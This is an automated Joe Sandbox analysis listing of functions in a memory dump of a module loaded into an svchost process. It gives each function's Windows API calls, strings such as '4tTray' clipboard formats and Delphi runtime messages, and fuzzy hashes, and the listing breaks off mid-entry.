Associated: 0000002D.00000002.20494734991.0000000003E3F000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_45_2_3e30000_svchost.jbxd

Similarity

API ID: CurrentFileProcess$MappingMessageModuleOpenPostRead$ErrorHandleLastName
String ID: iexplore.exe
API String ID: 3641758393-3286091477
Opcode ID: 52e32979198605c7c946ea97b6920a70de89d200ee60c6a32a10fd332e1806a7
Instruction ID: 90adf319c057bca9e01d0155c6122fdb93f864de824287b644fd7449e8fe0965
Opcode Fuzzy Hash: 52e32979198605c7c946ea97b6920a70de89d200ee60c6a32a10fd332e1806a7
Instruction Fuzzy Hash: 88413B346043199FD701EBA9C88DFA9B7F5AF4A304F506690E402EF395D775E944CB21

Function 03E39B94 Relevance: 9.1, APIs: 6, Instructions: 52
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenFileMappingA.KERNEL32(00000006,00000000,00000000), ref: 03E39BAF
OpenFileMappingA.KERNEL32(00000004,00000000,00000000), ref: 03E39BCC
GetLastError.KERNEL32(?,?,03E3B0B4,00000000,03E3B1E5), ref: 03E39BDF
MapViewOfFile.KERNEL32(00000000,00000006,00000000,00000000,00000074,?,?,03E3B0B4,00000000,03E3B1E5), ref: 03E39BF9
MapViewOfFile.KERNEL32(00000000,00000004,00000000,00000000,00000074,00000000,00000006,00000000,00000000,00000074,?,?,03E3B0B4,00000000,03E3B1E5), ref: 03E39C1A
GetLastError.KERNEL32(00000000,00000006,00000000,00000000,00000074,?,?,03E3B0B4,00000000,03E3B1E5), ref: 03E39C2D

Memory Dump Source

Source File: 0000002D.00000002.20494636228.0000000003E31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 03E30000, based on PE: true

Associated: 0000002D.00000002.20494595217.0000000003E30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000002D.00000002.20494679961.0000000003E3C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000002D.00000002.20494734991.0000000003E3F000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_45_2_3e30000_svchost.jbxd

Similarity

API ID: File$ErrorLastMappingOpenView
String ID:
API String ID: 3772272286-0
Opcode ID: 955202bbdf9164031bfcbaa687810c085dfa0075709cc7b9fe6902ae6864e669
Instruction ID: 9d5a6f2857757f7b8aeb8be148303497c667ebca04b670841a5710fa7b36e006
Opcode Fuzzy Hash: 955202bbdf9164031bfcbaa687810c085dfa0075709cc7b9fe6902ae6864e669
Instruction Fuzzy Hash: 55110374985368EAE710FB76AD4DB96B7E8E706714F182794E2825F2D5C7B43080CB14

Function 03E319E4 Relevance: 6.1, APIs: 4, Instructions: 54
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlInitializeCriticalSection.KERNEL32(03E3D5C4,00000000,03E31AAC,?,?,?,03E3240A), ref: 03E319FB
RtlEnterCriticalSection.KERNEL32(03E3D5C4,03E3D5C4,00000000,03E31AAC,?,?,?,03E3240A), ref: 03E31A0E
LocalAlloc.KERNEL32(00000000,00000FF8,03E3D5C4,00000000,03E31AAC,?,?,?,03E3240A), ref: 03E31A38
RtlLeaveCriticalSection.KERNEL32(03E3D5C4,03E31AB3,00000000,03E31AAC,?,?,?,03E3240A), ref: 03E31AA6

Memory Dump Source

Source File: 0000002D.00000002.20494636228.0000000003E31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 03E30000, based on PE: true

Associated: 0000002D.00000002.20494595217.0000000003E30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000002D.00000002.20494679961.0000000003E3C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000002D.00000002.20494734991.0000000003E3F000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_45_2_3e30000_svchost.jbxd

Similarity

API ID: CriticalSection$AllocEnterInitializeLeaveLocal
String ID:
API String ID: 730355536-0
Opcode ID: 2a3538e0cdc6eb963358a54c81ca74006d2c8fb7d45df609565b63a1a36945c3
Instruction ID: b54c4fee93dce392a8a5e38fa1fec6ba3a19def9542bdaf68c07070a1b5fe2a0
Opcode Fuzzy Hash: 2a3538e0cdc6eb963358a54c81ca74006d2c8fb7d45df609565b63a1a36945c3
Instruction Fuzzy Hash: 611190B8A48218EFDB15FF66C80DB5ABBE0EB47705F00A36CE0148B280C6B45901DB54

Function 03E39DC8 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 31
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 03E39C74: LoadLibraryA.KERNEL32(kernel32.dll,?), ref: 03E39CA7
Part of subcall function 03E39C74: GetProcAddress.KERNEL32(76680000,GetProcAddress), ref: 03E39CBC
Part of subcall function 03E39C74: LoadLibraryA.KERNEL32(user32.dll,?), ref: 03E39CD4
Part of subcall function 03E39C74: GetProcAddress.KERNEL32(767A0000,00000000), ref: 03E39CF6

PostMessageA.USER32(?,?,?,?), ref: 03E39DFF

Part of subcall function 03E39E3C: GetCurrentProcessId.KERNEL32(03E39DA2,?,?,03E39DA2), ref: 03E39E63
Part of subcall function 03E39E3C: PostMessageA.USER32(?,?,00000000,03E39DA2), ref: 03E39E7B

Strings

PostMessageA, xrefs: 03E39DE1

Memory Dump Source

Source File: 0000002D.00000002.20494636228.0000000003E31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 03E30000, based on PE: true

Associated: 0000002D.00000002.20494595217.0000000003E30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000002D.00000002.20494679961.0000000003E3C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000002D.00000002.20494734991.0000000003E3F000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_45_2_3e30000_svchost.jbxd

Similarity

API ID: AddressLibraryLoadMessagePostProc$CurrentProcess
String ID: PostMessageA
API String ID: 3249817243-3140657398
Opcode ID: 1801b1fcd2227f6a76ff77341ef58b8fb4d8c986810065f0b9208045262a75ad
Instruction ID: 4f4b2d3ffbcbb2dfbf5db0aabf88008aa430137904cf40fc1a074618801ca8a5
Opcode Fuzzy Hash: 1801b1fcd2227f6a76ff77341ef58b8fb4d8c986810065f0b9208045262a75ad
Instruction Fuzzy Hash: DEF017B5E0121CAFCB00DFE9C848B9EB7F8AB0A200F1097A5B818E7341D3709A10CB91

Function 03E32240 Relevance: 3.1, APIs: 2, Instructions: 125
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 03E319E4: RtlInitializeCriticalSection.KERNEL32(03E3D5C4,00000000,03E31AAC,?,?,?,03E3240A), ref: 03E319FB
Part of subcall function 03E319E4: RtlEnterCriticalSection.KERNEL32(03E3D5C4,03E3D5C4,00000000,03E31AAC,?,?,?,03E3240A), ref: 03E31A0E
Part of subcall function 03E319E4: LocalAlloc.KERNEL32(00000000,00000FF8,03E3D5C4,00000000,03E31AAC,?,?,?,03E3240A), ref: 03E31A38
Part of subcall function 03E319E4: RtlLeaveCriticalSection.KERNEL32(03E3D5C4,03E31AB3,00000000,03E31AAC,?,?,?,03E3240A), ref: 03E31AA6

RtlEnterCriticalSection.KERNEL32(03E3D5C4,00000000,03E323DC), ref: 03E32289
RtlLeaveCriticalSection.KERNEL32(03E3D5C4,03E323E3), ref: 03E323D6

Memory Dump Source

Source File: 0000002D.00000002.20494636228.0000000003E31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 03E30000, based on PE: true

Associated: 0000002D.00000002.20494595217.0000000003E30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000002D.00000002.20494679961.0000000003E3C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000002D.00000002.20494734991.0000000003E3F000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_45_2_3e30000_svchost.jbxd

Similarity

API ID: CriticalSection$EnterLeave$AllocInitializeLocal
String ID:
API String ID: 2227675388-0
Opcode ID: bd177c8c56c373aa99f941c02cd90d0a710ade592790609498dbd18502344499
Instruction ID: b03b6181135d3c88ea159908219dc6d75cc71924e0400ad241425dd562a5b5c9
Opcode Fuzzy Hash: bd177c8c56c373aa99f941c02cd90d0a710ade592790609498dbd18502344499
Instruction Fuzzy Hash: E3518BB5A04209DFCB10EFA9D988AAEF7F1FB8A304F149769D454A7344D330A941CF52

Function 03E39F0C Relevance: 3.1, APIs: 2, Instructions: 107
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CallNextHookEx.USER32(?,?,?,?), ref: 03E39F36
CallNextHookEx.USER32(00000000,?,?,?), ref: 03E39F4E

Memory Dump Source

Source File: 0000002D.00000002.20494636228.0000000003E31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 03E30000, based on PE: true

Associated: 0000002D.00000002.20494595217.0000000003E30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000002D.00000002.20494679961.0000000003E3C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000002D.00000002.20494734991.0000000003E3F000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_45_2_3e30000_svchost.jbxd

Similarity

API ID: CallHookNext
String ID:
API String ID: 3378577984-0
Opcode ID: 23079eb4f0857048dd1b01a3ae1688861f1f9dbc1f5d4091a044a42897bda297
Instruction ID: b5e366564f323c351643d1b7519a08d3ebf7ce8602ce7b5476ded2fff8d4f7f2
Opcode Fuzzy Hash: 23079eb4f0857048dd1b01a3ae1688861f1f9dbc1f5d4091a044a42897bda297
Instruction Fuzzy Hash: 7D41F039204208EFDB10DF59E989EA973F9EB0A310F2492A1F905DB3A1D772E940CF10

Function 03E31444 Relevance: 2.5, APIs: 2, Instructions: 37
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNEL32(00000000,?,00002000,00000001,?,?,?,03E317D7), ref: 03E31473
VirtualFree.KERNEL32(00000000,00000000,00008000,00000000,?,00002000,00000001,?,?,?,03E317D7), ref: 03E3149A

Memory Dump Source

Source File: 0000002D.00000002.20494636228.0000000003E31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 03E30000, based on PE: true

Associated: 0000002D.00000002.20494595217.0000000003E30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000002D.00000002.20494679961.0000000003E3C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000002D.00000002.20494734991.0000000003E3F000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_45_2_3e30000_svchost.jbxd

Similarity

API ID: Virtual$AllocFree
String ID:
API String ID: 2087232378-0
Opcode ID: 7bd40d97718a99176df0b2e4246046c8d9648a9c55502e0767320f63f5d8f3e5
Instruction ID: 6b027bd1f4a72286e53f060f334b72aa16e4232007e5c2ffe7824b42510e413c
Opcode Fuzzy Hash: 7bd40d97718a99176df0b2e4246046c8d9648a9c55502e0767320f63f5d8f3e5
Instruction Fuzzy Hash: 65F0AE76F007305ADB20F5694C88B9255989F877A1F155379FD4CEF3C8D6914801C291

Function 03E34344 Relevance: 1.5, APIs: 1, Instructions: 26
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameA.KERNEL32(?,?,00000105), ref: 03E34362

Part of subcall function 03E345D8: GetModuleFileNameA.KERNEL32(00000000,?,00000105), ref: 03E345F3
Part of subcall function 03E345D8: RegOpenKeyExA.ADVAPI32(80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?,00000105), ref: 03E34611
Part of subcall function 03E345D8: RegOpenKeyExA.ADVAPI32(80000002,Software\Borland\Locales,00000000,000F0019,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?,00000105), ref: 03E3462F
Part of subcall function 03E345D8: RegOpenKeyExA.ADVAPI32(80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000), ref: 03E3464D
Part of subcall function 03E345D8: RegQueryValueExA.ADVAPI32(?,?,00000000,00000000,00000000,00000005,00000000,03E346DC,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?), ref: 03E34696
Part of subcall function 03E345D8: RegQueryValueExA.ADVAPI32(?,03E34858,00000000,00000000,00000000,00000005,?,?,00000000,00000000,00000000,00000005,00000000,03E346DC,?,80000001), ref: 03E346B4
Part of subcall function 03E345D8: RegCloseKey.ADVAPI32(?,03E346E3,00000000,00000000,00000005,00000000,03E346DC,?,80000001,Software\Borland\Locales,00000000,000F0019,?,00000000,?,00000105), ref: 03E346D6

Memory Dump Source

Source File: 0000002D.00000002.20494636228.0000000003E31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 03E30000, based on PE: true

Associated: 0000002D.00000002.20494595217.0000000003E30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000002D.00000002.20494679961.0000000003E3C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000002D.00000002.20494734991.0000000003E3F000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_45_2_3e30000_svchost.jbxd

Similarity

API ID: Open$FileModuleNameQueryValue$Close
String ID:
API String ID: 2796650324-0
Opcode ID: 7da99163d140d08dce2798eac4622a11a75046096237bb5fc99d6a4447ad3200
Instruction ID: 3450363c493d8949796b4ef407379a7f4eeda095969460ade8ce891817312e4a
Opcode Fuzzy Hash: 7da99163d140d08dce2798eac4622a11a75046096237bb5fc99d6a4447ad3200
Instruction Fuzzy Hash: 80E06D71A003149BCB10EE6C88C8A8637E8AF0A654F441695ECA8DF28AD771DA208BD1

Function 03E34C6C Relevance: 1.5, APIs: 1, Instructions: 10
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 03E34C44: TlsGetValue.KERNEL32(00000019), ref: 03E34C5C
Part of subcall function 03E34C44: LocalFree.KERNEL32(00000000,00000019), ref: 03E34C66

TlsFree.KERNEL32(00000019), ref: 03E34C89

Memory Dump Source

Source File: 0000002D.00000002.20494636228.0000000003E31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 03E30000, based on PE: true

Associated: 0000002D.00000002.20494595217.0000000003E30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000002D.00000002.20494679961.0000000003E3C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000002D.00000002.20494734991.0000000003E3F000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_45_2_3e30000_svchost.jbxd

Similarity

API ID: Free$LocalValue
String ID:
API String ID: 2967491550-0
Opcode ID: 317b95b1e54e18857ba3a23599b080fd9b787d8c0319187105ee354fab0f6581
Instruction ID: 52184413215f6b7ed499a82286d8f7ad8a09be7b9185fe6498bcf640ee74b51d
Opcode Fuzzy Hash: 317b95b1e54e18857ba3a23599b080fd9b787d8c0319187105ee354fab0f6581
Instruction Fuzzy Hash: 10C04C2410036596FF24F6BB950C77571B86702225B69A3146460D71D4DA74C405CF26

Function 03E315E8 Relevance: 1.3, APIs: 1, Instructions: 71
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNEL32(?,?,00001000,00000004), ref: 03E31681

Memory Dump Source

Source File: 0000002D.00000002.20494636228.0000000003E31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 03E30000, based on PE: true

Associated: 0000002D.00000002.20494595217.0000000003E30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000002D.00000002.20494679961.0000000003E3C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000002D.00000002.20494734991.0000000003E3F000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_45_2_3e30000_svchost.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: bf81a38576182df7ebedf42f44557afe8dfb248d6b9567118f4a5f62bd21eef2
Instruction ID: 15a242daeecabba9c9b6c4620c09e0ce261fcfed26f05f326f864b721a90a25a
Opcode Fuzzy Hash: bf81a38576182df7ebedf42f44557afe8dfb248d6b9567118f4a5f62bd21eef2
Instruction Fuzzy Hash: CA21CDB464424ADFC750DF6CC884A9AB7F4FF89354B188A69F998CB344D330E954CB52

Function 03E31520 Relevance: 1.3, APIs: 1, Instructions: 69
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualFree.KERNEL32(0000000C,00000000,00008000), ref: 03E31599

Memory Dump Source

Source File: 0000002D.00000002.20494636228.0000000003E31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 03E30000, based on PE: true

Associated: 0000002D.00000002.20494595217.0000000003E30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000002D.00000002.20494679961.0000000003E3C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000002D.00000002.20494734991.0000000003E3F000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_45_2_3e30000_svchost.jbxd

Similarity

API ID: FreeVirtual
String ID:
API String ID: 1263568516-0
Opcode ID: 9c42a345a70f0f3a1d6e030862cb05aa359eaaec3674c58177a49df2bd4ecf9d
Instruction ID: 205db704243e856ae12d9a062ae26ee13aa184b55acd6f76f601bf270d85accf
Opcode Fuzzy Hash: 9c42a345a70f0f3a1d6e030862cb05aa359eaaec3674c58177a49df2bd4ecf9d
Instruction Fuzzy Hash: CF21BF74604306AFC710EF19D888A4ABBE4FF89364F248A6DE59987350D331E850CB56

Function 03E316A8 Relevance: 1.3, APIs: 1, Instructions: 67
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualFree.KERNEL32(?,?,00004000), ref: 03E31738

Memory Dump Source

Source File: 0000002D.00000002.20494636228.0000000003E31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 03E30000, based on PE: true

Associated: 0000002D.00000002.20494595217.0000000003E30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000002D.00000002.20494679961.0000000003E3C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000002D.00000002.20494734991.0000000003E3F000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_45_2_3e30000_svchost.jbxd

Similarity

API ID: FreeVirtual
String ID:
API String ID: 1263568516-0
Opcode ID: cddb50e74585b9630ee5e4e1119c29ccb3fce7b7018b50d9fa9e43f0702cbc30
Instruction ID: 0bf466703fd808e11e570db5f3c101d574df32e643fc97db47eebb45ffea732d
Opcode Fuzzy Hash: cddb50e74585b9630ee5e4e1119c29ccb3fce7b7018b50d9fa9e43f0702cbc30
Instruction Fuzzy Hash: E421E0B5204206DFC710DF2CD888A5AB7F4FF8A354B284A69E594CB344E331E905CB52

Non-executed Functions

Function 03E34400 Relevance: 24.6, APIs: 11, Strings: 3, Instructions: 144stringlibraryfileCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(kernel32.dll), ref: 03E3441D
GetProcAddress.KERNEL32(00000000,GetLongPathNameA), ref: 03E3442E
lstrcpyn.KERNEL32(?,?,?,?,?,kernel32.dll), ref: 03E34462
lstrcpyn.KERNEL32(?,?,?,kernel32.dll), ref: 03E344D3
lstrcpyn.KERNEL32(?,?,?,?,?,?,kernel32.dll), ref: 03E3450E
FindFirstFileA.KERNEL32(?,?,?,?,?,?,?,?,kernel32.dll), ref: 03E34521
FindClose.KERNEL32(00000000,?,?,?,?,?,?,?,?,kernel32.dll), ref: 03E3452E
lstrlen.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,kernel32.dll), ref: 03E3453A
lstrcpyn.KERNEL32(0000005D,?,00000104), ref: 03E3456E
lstrlen.KERNEL32(?,0000005D,?,00000104), ref: 03E3457A
lstrcpyn.KERNEL32(?,0000005C,?,?,0000005D,?,00000104), ref: 03E345A3

Strings

GetLongPathNameA, xrefs: 03E34428
kernel32.dll, xrefs: 03E34418
\, xrefs: 03E3454C

Memory Dump Source

Source File: 0000002D.00000002.20494636228.0000000003E31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 03E30000, based on PE: true

Associated: 0000002D.00000002.20494595217.0000000003E30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000002D.00000002.20494679961.0000000003E3C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000002D.00000002.20494734991.0000000003E3F000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_45_2_3e30000_svchost.jbxd

Similarity

API ID: lstrcpyn$Findlstrlen$AddressCloseFileFirstHandleModuleProc
String ID: GetLongPathNameA$\$kernel32.dll
API String ID: 3245196872-1565342463
Opcode ID: 283d0415bf49b11def31226ded9fcefcc571b1ca7e5e9ba35591a626a8ef72da
Instruction ID: 79fb2d045b02c34a9733473fbc26895133d7b1ae652e99dd2bffa1bba0448f8c
Opcode Fuzzy Hash: 283d0415bf49b11def31226ded9fcefcc571b1ca7e5e9ba35591a626a8ef72da
Instruction Fuzzy Hash: 7A513A71D00259AFDF11EBE9CC88AEEB7F8AF46204F0516A5E155EB280D7749E40CF60

Function 03E39304 Relevance: 24.5, APIs: 7, Strings: 7, Instructions: 27registryclipboardCOMMON

Download Yara Rule

APIs

RegisterClipboardFormatA.USER32(4tTray_WM_POSCHANGED), ref: 03E39315
RegisterClipboardFormatA.USER32(4tTray_WM_INIT_POS), ref: 03E39324
RegisterClipboardFormatA.USER32(4tTray_WM_ROLLUP), ref: 03E39333
RegisterClipboardFormatA.USER32(4tTray_WM_FREEMEMORY_NAME), ref: 03E39342
RegisterClipboardFormatA.USER32(4tTray_WM_STAYONTOP), ref: 03E39351
RegisterClipboardFormatA.USER32(4tTray_ProcessAttached), ref: 03E39360
RegisterClipboardFormatA.USER32(4tTray_ProcessDetached), ref: 03E3936F

Strings

4tTray_ProcessAttached, xrefs: 03E3935B
4tTray_WM_FREEMEMORY_NAME, xrefs: 03E3933D
4tTray_WM_STAYONTOP, xrefs: 03E3934C
4tTray_ProcessDetached, xrefs: 03E3936A
4tTray_WM_INIT_POS, xrefs: 03E3931F
4tTray_WM_POSCHANGED, xrefs: 03E39310
4tTray_WM_ROLLUP, xrefs: 03E3932E

Memory Dump Source

Source File: 0000002D.00000002.20494636228.0000000003E31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 03E30000, based on PE: true

Associated: 0000002D.00000002.20494595217.0000000003E30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000002D.00000002.20494679961.0000000003E3C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000002D.00000002.20494734991.0000000003E3F000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_45_2_3e30000_svchost.jbxd

Similarity

API ID: ClipboardFormatRegister
String ID: 4tTray_ProcessAttached$4tTray_ProcessDetached$4tTray_WM_FREEMEMORY_NAME$4tTray_WM_INIT_POS$4tTray_WM_POSCHANGED$4tTray_WM_ROLLUP$4tTray_WM_STAYONTOP
API String ID: 1228543026-747308701
Opcode ID: 3d1210ef76ccf934e4cdaa0c724535f2d30dba7364cab90830ad57be92eb8d7c
Instruction ID: 96a4dfdd5ec575b13a92e2223505367f1777117eb1bf4c02878bcc88f158423e
Opcode Fuzzy Hash: 3d1210ef76ccf934e4cdaa0c724535f2d30dba7364cab90830ad57be92eb8d7c
Instruction Fuzzy Hash: 57F014B85403A89ED700FBB7784E6B936E4E7427117093359B5249B2A6D7B27800CF1A

Function 03E37E9C Relevance: 12.5, APIs: 1, Strings: 6, Instructions: 201threadCOMMON

Download Yara Rule

APIs

GetThreadLocale.KERNEL32(00000000,03E38167,?,?,00000000,00000000), ref: 03E37ED2

Part of subcall function 03E36A94: GetLocaleInfoA.KERNEL32(?,?,?,00000100), ref: 03E36AB2

Strings

:mm, xrefs: 03E38105
mmmm d, yyyy, xrefs: 03E37FCE
AMPM , xrefs: 03E380F5
:mm:ss, xrefs: 03E38122
AMPM, xrefs: 03E380E6
m/d/yy, xrefs: 03E37FA1

Memory Dump Source

Source File: 0000002D.00000002.20494636228.0000000003E31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 03E30000, based on PE: true

Associated: 0000002D.00000002.20494595217.0000000003E30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000002D.00000002.20494679961.0000000003E3C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000002D.00000002.20494734991.0000000003E3F000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_45_2_3e30000_svchost.jbxd

Similarity

API ID: Locale$InfoThread
String ID: AMPM$:mm$:mm:ss$AMPM $m/d/yy$mmmm d, yyyy
API String ID: 4232894706-2493093252
Opcode ID: ca6b8d826501f5ea37fc452f6691c0ed617a45f5ef7ebba2f51404b0e50aa300
Instruction ID: ba6000db4c7e16c4790a8672612dfc45fe4da85a2aff895d6063b791e824576b
Opcode Fuzzy Hash: ca6b8d826501f5ea37fc452f6691c0ed617a45f5ef7ebba2f51404b0e50aa300
Instruction Fuzzy Hash: E8611F3870034CABDB00FBB4DC89AAF77B6EB8A200F60B665E1119F345DA35D909D755

Function 03E39C74 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 44libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(kernel32.dll,?), ref: 03E39CA7
GetProcAddress.KERNEL32(76680000,GetProcAddress), ref: 03E39CBC
LoadLibraryA.KERNEL32(user32.dll,?), ref: 03E39CD4
GetProcAddress.KERNEL32(767A0000,00000000), ref: 03E39CF6

Strings

user32.dll, xrefs: 03E39CCF
GetProcAddress, xrefs: 03E39CB1
kernel32.dll, xrefs: 03E39CA2

Memory Dump Source

Source File: 0000002D.00000002.20494636228.0000000003E31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 03E30000, based on PE: true

Associated: 0000002D.00000002.20494595217.0000000003E30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000002D.00000002.20494679961.0000000003E3C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000002D.00000002.20494734991.0000000003E3F000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_45_2_3e30000_svchost.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: GetProcAddress$kernel32.dll$user32.dll
API String ID: 2574300362-2524697592
Opcode ID: 1bf01c41d6a34c2e677c412de072975c7c30f8784e83284e957407d5c570d9f2
Instruction ID: da4c9419a5ae2107a451a669a20ea18d98bcf1a671636ba59f743b4483bbd4c7
Opcode Fuzzy Hash: 1bf01c41d6a34c2e677c412de072975c7c30f8784e83284e957407d5c570d9f2
Instruction Fuzzy Hash: 47113C7490125CDFDB11FBA6D58D79CBBF4AB06704F9423D4E840A7245D3B4A941CF42

Function 03E33B44 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 38filewindowCOMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32(000000F5,Runtime error at 00000000,0000001E,03E3B330,00000000,?,03E33C0E,?,?,?,03E3D630,?,?,03E3C0A8,03E34D21,03E3B330), ref: 03E33B7D
WriteFile.KERNEL32(00000000,000000F5,Runtime error at 00000000,0000001E,03E3B330,00000000,?,03E33C0E,?,?,?,03E3D630,?,?,03E3C0A8,03E34D21), ref: 03E33B83
GetStdHandle.KERNEL32(000000F5,03E33BCC,00000002,03E3B330,00000000,00000000,000000F5,Runtime error at 00000000,0000001E,03E3B330,00000000,?,03E33C0E,?,?,?), ref: 03E33B98
WriteFile.KERNEL32(00000000,000000F5,03E33BCC,00000002,03E3B330,00000000,00000000,000000F5,Runtime error at 00000000,0000001E,03E3B330,00000000,?,03E33C0E), ref: 03E33B9E
MessageBoxA.USER32(00000000,Runtime error at 00000000,Error,00000000), ref: 03E33BBC

Strings

Error, xrefs: 03E33BB0
Runtime error at 00000000, xrefs: 03E33B76, 03E33BB5

Memory Dump Source

Source File: 0000002D.00000002.20494636228.0000000003E31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 03E30000, based on PE: true

Associated: 0000002D.00000002.20494595217.0000000003E30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000002D.00000002.20494679961.0000000003E3C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000002D.00000002.20494734991.0000000003E3F000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_45_2_3e30000_svchost.jbxd

Similarity

API ID: FileHandleWrite$Message
String ID: Error$Runtime error at 00000000
API String ID: 1570097196-2970929446
Opcode ID: 93593ecdef28ebde143931e9d8d9b751654bc97355a496fc6b97ecdb289dd6d7
Instruction ID: 9bca6b6c119a3b56df426a33920d23ece6d2af7782d8e3ad63d3f085f783bf2d
Opcode Fuzzy Hash: 93593ecdef28ebde143931e9d8d9b751654bc97355a496fc6b97ecdb289dd6d7
Instruction Fuzzy Hash: B3F09664A8839879E630F2655E0EFDA267C5747F14F246309B2247C0CAC7B4C484CA65

Function 03E3A600 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 245windowCOMMON

Download Yara Rule

APIs

